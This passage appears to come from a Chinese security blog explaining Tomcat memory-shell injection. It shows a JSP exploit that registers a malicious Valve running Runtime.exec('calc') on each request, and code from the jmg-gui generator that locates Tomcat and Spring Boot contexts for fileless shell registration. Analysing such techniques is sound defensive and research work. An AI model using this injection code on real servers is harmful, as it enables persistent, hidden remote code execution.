1 2 3 4 获取StandardContext对象 通过StandardContext对象获取StandardPipeline 编写恶意Valve 通过StandardPipeline.addValve()动态添加Valve
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %> <% context.addValve(new ValveBase () { @Override public void invoke (Request request, Response response) throws IOException, ServletException { Runtime.getRuntime().exec("calc" ); } }); %>
jmg-gui构造链分析 这个内存马生成工具(jmg-gui)是pen4uin 师傅写的,里面无需用上述的方法来获取context类,在对于正常的反序列化来说可能无法通过jsp文件来进行动态注册内存马,我们是希望在对恶意的类进行加载后就实现注册功能,而不是通过上传一个jsp文件来实现,而如果通过第二个方法来加载context还是有一定的限制
下面看一下其中获取context的方法,这里主要的思想是通过筛选线程的名字和类加载器来实现获取,这里不仅仅是tomcat框架,它还支持spring boot的环境下,这种方式就可以在恶意类加载中获取对应的context,方便对上述动态注入进行后续操作,一旦加载字节码就可以直接动态注册
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public List<Object> getContext () throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List<Object> contexts = new ArrayList <Object>(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads" ); Object context = null ; try { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor" ) && context == null ) { HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target" ), "this$0" ), "children" ); for (Object key : childrenMap.keySet()) { HashMap children = (HashMap) getFV(childrenMap.get(key), "children" ); for (Object key1 : children.keySet()) { context = children.get(key1); if (context != null && context.getClass().getName().contains("StandardContext" )) contexts.add(context); if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext" )) contexts.add(context); } } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader" ) || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader" ))) { context = getFV(getFV(thread.getContextClassLoader(), "resources" ), "context" ); if (context != null && context.getClass().getName().contains("StandardContext" )) contexts.add(context); if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext" )) contexts.add(context); } } } catch (Exception e) { throw new RuntimeException (e); } return contexts; }